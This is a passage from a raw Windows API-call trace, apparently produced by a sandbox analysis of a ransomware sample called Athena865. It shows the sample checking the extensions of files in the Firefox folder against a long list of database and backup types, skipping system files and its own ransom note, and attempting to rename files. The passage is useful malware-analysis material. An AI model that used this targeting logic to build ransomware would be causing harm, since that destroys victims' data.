3 [0042.928] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0042.928] lstrlenW (lpString="^^^") returned 3 [0042.928] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0042.928] lstrlenW (lpString="abs") returned 3 [0042.928] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0042.928] lstrlenW (lpString="abx") returned 3 [0042.928] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0042.928] lstrlenW (lpString="accdb") returned 5 [0042.928] lstrcmpiW (lpString1="l.exe", lpString2="accdb") returned 1 [0042.928] lstrlenW (lpString="accdc") returned 5 [0042.928] lstrcmpiW (lpString1="l.exe", lpString2="accdc") returned 1 [0042.928] lstrlenW (lpString="accde") returned 5 [0042.928] lstrcmpiW (lpString1="l.exe", lpString2="accde") returned 1 [0042.928] lstrlenW (lpString="accdr") returned 5 [0042.928] lstrcmpiW (lpString1="l.exe", lpString2="accdr") returned 1 [0042.928] lstrlenW (lpString="accdt") returned 5 [0042.928] lstrcmpiW (lpString1="l.exe", lpString2="accdt") returned 1 [0042.928] lstrlenW (lpString="accdw") returned 5 [0042.928] lstrcmpiW (lpString1="l.exe", lpString2="accdw") returned 1 [0042.928] lstrlenW (lpString="accft") returned 5 [0042.928] lstrcmpiW (lpString1="l.exe", lpString2="accft") returned 1 [0042.928] lstrlenW (lpString="adb") returned 3 [0042.928] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0042.929] lstrlenW (lpString="adb") returned 3 [0042.929] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0042.929] lstrlenW (lpString="ade") returned 3 [0042.929] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0042.929] lstrlenW (lpString="adf") returned 3 [0042.929] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0042.929] lstrlenW (lpString="adn") returned 3 [0042.929] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0042.929] lstrlenW (lpString="adp") returned 3 [0042.929] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0042.929] lstrlenW (lpString="alf") returned 3 [0042.929] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0042.929] lstrlenW (lpString="ask") returned 3 [0042.929] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0042.929] lstrlenW (lpString="btr") returned 3 [0042.929] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0042.929] lstrlenW (lpString="cat") returned 3 [0042.929] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0042.929] lstrlenW (lpString="cdb") returned 3 [0042.929] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0042.929] lstrlenW (lpString="ckp") returned 3 [0042.929] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0042.929] lstrlenW (lpString="cma") returned 3 [0042.929] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0042.929] lstrlenW (lpString="cpd") returned 3 [0042.929] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0042.929] lstrlenW (lpString="dacpac") returned 6 [0042.929] lstrcmpiW (lpString1="al.exe", lpString2="dacpac") returned -1 [0042.929] lstrlenW (lpString="dad") returned 3 [0042.929] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0042.929] lstrlenW (lpString="dadiagrams") returned 10 [0042.929] lstrlenW (lpString="daschema") returned 8 [0042.929] lstrcmpiW (lpString1="sual.exe", lpString2="daschema") returned 1 [0042.929] lstrlenW (lpString="db-journal") returned 10 [0042.929] lstrlenW (lpString="db-shm") returned 6 [0042.929] lstrcmpiW (lpString1="al.exe", lpString2="db-shm") returned -1 [0042.929] lstrlenW (lpString="db-wal") returned 6 [0042.929] lstrcmpiW (lpString1="al.exe", lpString2="db-wal") returned -1 [0042.930] lstrlenW (lpString="dbc") returned 3 [0042.930] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0042.930] lstrlenW (lpString="dbs") returned 3 [0042.930] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0042.930] lstrlenW (lpString="dbt") returned 3 [0042.930] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0042.930] lstrlenW (lpString="dbv") returned 3 [0042.930] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0042.930] lstrlenW (lpString="dbx") returned 3 [0042.930] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0042.930] lstrlenW (lpString="dcb") returned 3 [0042.930] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0042.930] lstrlenW (lpString="dct") returned 3 [0042.930] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0042.930] lstrlenW (lpString="dcx") returned 3 [0042.930] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0042.930] lstrlenW (lpString="ddl") returned 3 [0042.930] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0042.930] lstrlenW (lpString="dlis") returned 4 [0042.930] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0042.930] lstrlenW (lpString="dp1") returned 3 [0042.930] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0042.930] lstrlenW (lpString="dqy") returned 3 [0042.930] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0042.930] lstrlenW (lpString="dsk") returned 3 [0042.930] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0042.930] lstrlenW (lpString="dsn") returned 3 [0042.930] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0042.930] lstrlenW (lpString="dtsx") returned 4 [0042.930] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0042.930] lstrlenW (lpString="dxl") returned 3 [0042.930] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0042.930] lstrlenW (lpString="eco") returned 3 [0042.930] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0042.930] lstrlenW (lpString="ecx") returned 3 [0042.930] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0042.931] lstrlenW (lpString="edb") returned 3 [0042.931] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0042.931] lstrlenW (lpString="epim") returned 4 [0042.931] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0042.931] lstrlenW (lpString="fcd") returned 3 [0042.931] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0042.931] lstrlenW (lpString="fdb") returned 3 [0042.931] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0042.931] lstrlenW (lpString="fic") returned 3 [0042.931] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0042.931] lstrlenW (lpString="flexolibrary") returned 12 [0042.931] lstrlenW (lpString="fm5") returned 3 [0042.931] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0042.931] lstrlenW (lpString="fmp") returned 3 [0042.931] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0042.931] lstrlenW (lpString="fmp12") returned 5 [0042.931] lstrcmpiW (lpString1="l.exe", lpString2="fmp12") returned 1 [0042.931] lstrlenW (lpString="fmpsl") returned 5 [0042.931] lstrcmpiW (lpString1="l.exe", lpString2="fmpsl") returned 1 [0042.931] lstrlenW (lpString="fol") returned 3 [0042.931] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0042.931] lstrlenW (lpString="fp3") returned 3 [0042.931] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0042.931] lstrlenW (lpString="fp4") returned 3 [0042.931] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0042.931] lstrlenW (lpString="fp5") returned 3 [0042.931] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0042.931] lstrlenW (lpString="fp7") returned 3 [0042.931] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0042.931] lstrlenW (lpString="fpt") returned 3 [0042.931] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0042.931] lstrlenW (lpString="frm") returned 3 [0042.931] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0042.931] lstrlenW (lpString="gdb") returned 3 [0042.931] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0042.931] lstrlenW (lpString="gdb") returned 3 [0042.932] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0042.932] lstrlenW (lpString="grdb") returned 4 [0042.932] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0042.932] lstrlenW (lpString="gwi") returned 3 [0042.932] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0042.932] lstrlenW (lpString="hdb") returned 3 [0042.932] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0042.932] lstrlenW (lpString="his") returned 3 [0042.932] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0042.932] lstrlenW (lpString="ib") returned 2 [0042.932] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0042.932] lstrlenW (lpString="idb") returned 3 [0042.932] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0042.932] lstrlenW (lpString="ihx") returned 3 [0042.932] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0042.932] lstrlenW (lpString="itdb") returned 4 [0042.932] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0042.932] lstrlenW (lpString="itw") returned 3 [0042.932] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0042.932] lstrlenW (lpString="jet") returned 3 [0042.932] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0042.932] lstrlenW (lpString="jtx") returned 3 [0042.932] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0042.932] lstrlenW (lpString="kdb") returned 3 [0042.932] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0042.932] lstrlenW (lpString="kexi") returned 4 [0042.932] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0042.932] lstrlenW (lpString="kexic") returned 5 [0042.932] lstrcmpiW (lpString1="l.exe", lpString2="kexic") returned 1 [0042.932] lstrlenW (lpString="kexis") returned 5 [0042.932] lstrcmpiW (lpString1="l.exe", lpString2="kexis") returned 1 [0042.932] lstrlenW (lpString="lgc") returned 3 [0042.932] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0042.932] lstrlenW (lpString="lwx") returned 3 [0042.932] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0042.932] lstrlenW (lpString="maf") returned 3 [0042.932] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0042.933] lstrlenW (lpString="maq") returned 3 [0042.933] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0042.933] lstrlenW (lpString="mar") returned 3 [0042.933] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0042.933] lstrlenW (lpString="marshal") returned 7 [0042.933] lstrcmpiW (lpString1="ual.exe", lpString2="marshal") returned 1 [0042.933] lstrlenW (lpString="mas") returned 3 [0042.933] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0042.933] lstrlenW (lpString="mav") returned 3 [0042.933] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0042.933] lstrlenW (lpString="maw") returned 3 [0042.933] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0042.933] lstrlenW (lpString="mdbhtml") returned 7 [0042.933] lstrcmpiW (lpString1="ual.exe", lpString2="mdbhtml") returned 1 [0042.933] lstrlenW (lpString="mdn") returned 3 [0042.933] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0042.933] lstrlenW (lpString="mdt") returned 3 [0042.933] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0042.933] lstrlenW (lpString="mfd") returned 3 [0042.933] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0042.933] lstrlenW (lpString="mpd") returned 3 [0042.933] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0042.933] lstrlenW (lpString="mrg") returned 3 [0042.933] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0042.933] lstrlenW (lpString="mud") returned 3 [0042.933] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0042.933] lstrlenW (lpString="mwb") returned 3 [0042.933] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0042.933] lstrlenW (lpString="myd") returned 3 [0042.933] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0042.933] lstrlenW (lpString="ndf") returned 3 [0042.933] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0042.933] lstrlenW (lpString="nnt") returned 3 [0042.933] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0042.933] lstrlenW (lpString="nrmlib") returned 6 [0042.933] lstrcmpiW (lpString1="al.exe", lpString2="nrmlib") returned -1 [0042.933] lstrlenW (lpString="ns2") returned 3 [0042.934] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0042.934] lstrlenW (lpString="ns3") returned 3 [0042.934] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0042.934] lstrlenW (lpString="ns4") returned 3 [0042.934] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0042.934] lstrlenW (lpString="nsf") returned 3 [0042.934] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0042.934] lstrlenW (lpString="nv") returned 2 [0042.934] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0042.934] lstrlenW (lpString="nv2") returned 3 [0042.934] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0042.934] lstrlenW (lpString="nwdb") returned 4 [0042.934] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0042.934] lstrlenW (lpString="nyf") returned 3 [0042.934] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0042.934] lstrlenW (lpString="odb") returned 3 [0042.934] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0042.934] lstrlenW (lpString="odb") returned 3 [0042.934] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0042.934] lstrlenW (lpString="oqy") returned 3 [0042.934] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0042.934] lstrlenW (lpString="ora") returned 3 [0042.934] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0042.934] lstrlenW (lpString="orx") returned 3 [0042.934] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0042.934] lstrlenW (lpString="owc") returned 3 [0042.934] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0042.934] lstrlenW (lpString="p96") returned 3 [0042.934] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0042.934] lstrlenW (lpString="p97") returned 3 [0042.934] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0042.934] lstrlenW (lpString="pan") returned 3 [0042.934] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0042.934] lstrlenW (lpString="pdb") returned 3 [0042.934] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0042.934] lstrlenW (lpString="pdm") returned 3 [0042.934] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0042.935] lstrlenW (lpString="pnz") returned 3 [0042.935] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0042.935] lstrlenW (lpString="qry") returned 3 [0042.935] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0042.935] lstrlenW (lpString="qvd") returned 3 [0042.935] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0042.935] lstrlenW (lpString="rbf") returned 3 [0042.935] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0042.935] lstrlenW (lpString="rctd") returned 4 [0042.935] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0042.935] lstrlenW (lpString="rod") returned 3 [0042.935] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0042.935] lstrlenW (lpString="rodx") returned 4 [0042.935] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0042.935] lstrlenW (lpString="rpd") returned 3 [0042.935] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0042.935] lstrlenW (lpString="rsd") returned 3 [0042.935] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0042.935] lstrlenW (lpString="sas7bdat") returned 8 [0042.935] lstrcmpiW (lpString1="sual.exe", lpString2="sas7bdat") returned 1 [0042.935] lstrlenW (lpString="sbf") returned 3 [0042.935] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0042.935] lstrlenW (lpString="scx") returned 3 [0042.935] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0042.935] lstrlenW (lpString="sdb") returned 3 [0042.935] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0042.935] lstrlenW (lpString="sdc") returned 3 [0042.935] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0042.935] lstrlenW (lpString="sdf") returned 3 [0042.935] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0042.935] lstrlenW (lpString="sis") returned 3 [0042.935] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0042.935] lstrlenW (lpString="spq") returned 3 [0042.935] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0042.935] lstrlenW (lpString="te") returned 2 [0042.935] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0042.936] lstrlenW (lpString="teacher") returned 7 [0042.936] lstrcmpiW (lpString1="ual.exe", lpString2="teacher") returned 1 [0042.936] lstrlenW (lpString="tmd") returned 3 [0042.936] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0042.936] lstrlenW (lpString="tps") returned 3 [0042.936] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0042.936] lstrlenW (lpString="trc") returned 3 [0042.936] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0042.936] lstrlenW (lpString="trc") returned 3 [0042.936] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0042.936] lstrlenW (lpString="trm") returned 3 [0042.936] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0042.936] lstrlenW (lpString="udb") returned 3 [0042.936] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0042.936] lstrlenW (lpString="udl") returned 3 [0042.936] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0042.936] lstrlenW (lpString="usr") returned 3 [0042.936] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0042.936] lstrlenW (lpString="v12") returned 3 [0042.936] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0042.936] lstrlenW (lpString="vis") returned 3 [0042.936] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0042.936] lstrlenW (lpString="vpd") returned 3 [0042.936] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0042.936] lstrlenW (lpString="vvv") returned 3 [0042.936] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0042.936] lstrlenW (lpString="wdb") returned 3 [0042.936] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0042.936] lstrlenW (lpString="wmdb") returned 4 [0042.936] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0042.936] lstrlenW (lpString="wrk") returned 3 [0042.936] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0042.936] lstrlenW (lpString="xdb") returned 3 [0042.936] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0042.936] lstrlenW (lpString="xld") returned 3 [0042.936] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0042.937] lstrlenW (lpString="xmlff") returned 5 [0042.937] lstrcmpiW (lpString1="l.exe", lpString2="xmlff") returned -1 [0042.937] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\casual.exe.Athena865") returned 59 [0042.937] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\casual.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\casual.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\casual.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\casual.exe.athena865"), dwFlags=0x1) returned 1 [0042.937] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\casual.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\casual.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0xffffffff [0042.937] GetLastError () returned 0x20 [0042.937] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S CreateFile error %i\r\n" | out: param_1="[ERROR] C:\\Program Files (x86)\\Mozilla Firefox\\casual.exe CreateFile error 32\r\n") returned 79 [0042.937] lstrlenA (lpString="[ERROR] C:\\Program Files (x86)\\Mozilla Firefox\\casual.exe CreateFile error 32\r\n") returned 79 [0042.937] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0042.937] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1a3a [0042.938] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x4f, lpOverlapped=0x0) returned 1 [0042.938] CloseHandle (hObject=0x154) returned 1 [0042.938] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\casual.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\casual.exe.athena865"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\casual.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\casual.exe"), dwFlags=0x1) returned 1 [0042.939] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0042.939] CloseHandle (hObject=0x0) returned 0 [0042.939] CloseHandle (hObject=0xffffffff) returned 0 [0042.939] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef8e580, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef8e580, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x24ca9180, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1ca70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="crashreporter.exe", cAlternateFileName="CRASHR~1.EXE")) returned 1 [0042.939] lstrcmpiW (lpString1="crashreporter.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.939] lstrcmpiW (lpString1="crashreporter.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.939] lstrcmpiW (lpString1="crashreporter.exe", lpString2=".") returned 1 [0042.939] lstrcmpiW (lpString1="crashreporter.exe", lpString2="..") returned 1 [0042.939] lstrcmpiW (lpString1="crashreporter.exe", lpString2="windows") returned -1 [0042.939] lstrcmpiW (lpString1="crashreporter.exe", lpString2="bootmgr") returned 1 [0042.939] lstrcmpiW (lpString1="crashreporter.exe", lpString2="temp") returned -1 [0042.939] lstrcmpiW (lpString1="crashreporter.exe", lpString2="pagefile.sys") returned -1 [0042.939] lstrcmpiW (lpString1="crashreporter.exe", lpString2="boot") returned 1 [0042.939] lstrcmpiW (lpString1="crashreporter.exe", lpString2="ids.txt") returned -1 [0042.939] lstrcmpiW (lpString1="crashreporter.exe", lpString2="ntuser.dat") returned -1 [0042.939] lstrcmpiW (lpString1="crashreporter.exe", lpString2="perflogs") returned -1 [0042.939] lstrcmpiW (lpString1="crashreporter.exe", lpString2="MSBuild") returned -1 [0042.939] lstrlenW (lpString="crashreporter.exe") returned 17 [0042.939] lstrcpyW (in: lpString1=0x241e896, lpString2="crashreporter.exe" | out: lpString1="crashreporter.exe") returned="crashreporter.exe" [0042.939] lstrlenW (lpString="crashreporter.exe") returned 17 [0042.939] lstrlenW (lpString="Athena865") returned 9 [0042.939] lstrcmpiW (lpString1="orter.exe", lpString2="Athena865") returned 1 [0042.940] lstrlenW (lpString=".dll") returned 4 [0042.940] lstrcmpiW (lpString1="crashreporter.exe", lpString2=".dll") returned 1 [0042.940] lstrlenW (lpString=".lnk") returned 4 [0042.940] lstrcmpiW (lpString1="crashreporter.exe", lpString2=".lnk") returned 1 [0042.940] lstrlenW (lpString=".ini") returned 4 [0042.940] lstrcmpiW (lpString1="crashreporter.exe", lpString2=".ini") returned 1 [0042.940] lstrlenW (lpString=".sys") returned 4 [0042.940] lstrcmpiW (lpString1="crashreporter.exe", lpString2=".sys") returned 1 [0042.940] lstrlenW (lpString="crashreporter.exe") returned 17 [0042.940] lstrlenW (lpString="bak") returned 3 [0042.940] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0042.940] lstrlenW (lpString="ba_") returned 3 [0042.940] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0042.940] lstrlenW (lpString="dbb") returned 3 [0042.940] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0042.940] lstrlenW (lpString="vmdk") returned 4 [0042.940] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0042.940] lstrlenW (lpString="rar") returned 3 [0042.940] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0042.940] lstrlenW (lpString="zip") returned 3 [0042.940] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0042.940] lstrlenW (lpString="tgz") returned 3 [0042.940] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0042.940] lstrlenW (lpString="vbox") returned 4 [0042.940] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0042.940] lstrlenW (lpString="vdi") returned 3 [0042.940] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0042.940] lstrlenW (lpString="vhd") returned 3 [0042.940] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0042.940] lstrlenW (lpString="vhdx") returned 4 [0042.940] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0042.940] lstrlenW (lpString="avhd") returned 4 [0042.940] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0042.940] lstrlenW (lpString="db") returned 2 [0042.940] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0042.940] lstrlenW (lpString="db2") returned 3 [0042.941] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0042.941] lstrlenW (lpString="db3") returned 3 [0042.941] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0042.941] lstrlenW (lpString="dbf") returned 3 [0042.941] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0042.941] lstrlenW (lpString="mdf") returned 3 [0042.941] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0042.941] lstrlenW (lpString="mdb") returned 3 [0042.941] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0042.941] lstrlenW (lpString="sql") returned 3 [0042.941] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0042.941] lstrlenW (lpString="sqlite") returned 6 [0042.941] lstrcmpiW (lpString1="er.exe", lpString2="sqlite") returned -1 [0042.941] lstrlenW (lpString="sqlite3") returned 7 [0042.941] lstrcmpiW (lpString1="ter.exe", lpString2="sqlite3") returned 1 [0042.941] lstrlenW (lpString="sqlitedb") returned 8 [0042.941] lstrcmpiW (lpString1="rter.exe", lpString2="sqlitedb") returned -1 [0042.941] lstrlenW (lpString="xml") returned 3 [0042.941] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0042.941] lstrlenW (lpString="$er") returned 3 [0042.941] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0042.941] lstrlenW (lpString="4dd") returned 3 [0042.941] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0042.941] lstrlenW (lpString="4dl") returned 3 [0042.941] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0042.941] lstrlenW (lpString="^^^") returned 3 [0042.941] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0042.941] lstrlenW (lpString="abs") returned 3 [0042.941] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0042.941] lstrlenW (lpString="abx") returned 3 [0042.941] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0042.941] lstrlenW (lpString="accdb") returned 5 [0042.941] lstrcmpiW (lpString1="r.exe", lpString2="accdb") returned 1 [0042.941] lstrlenW (lpString="accdc") returned 5 [0042.941] lstrcmpiW (lpString1="r.exe", lpString2="accdc") returned 1 [0042.941] lstrlenW (lpString="accde") returned 5 [0042.941] lstrcmpiW (lpString1="r.exe", lpString2="accde") returned 1 [0042.941] lstrlenW (lpString="accdr") returned 5 [0042.942] lstrcmpiW (lpString1="r.exe", lpString2="accdr") returned 1 [0042.942] lstrlenW (lpString="accdt") returned 5 [0042.942] lstrcmpiW (lpString1="r.exe", lpString2="accdt") returned 1 [0042.942] lstrlenW 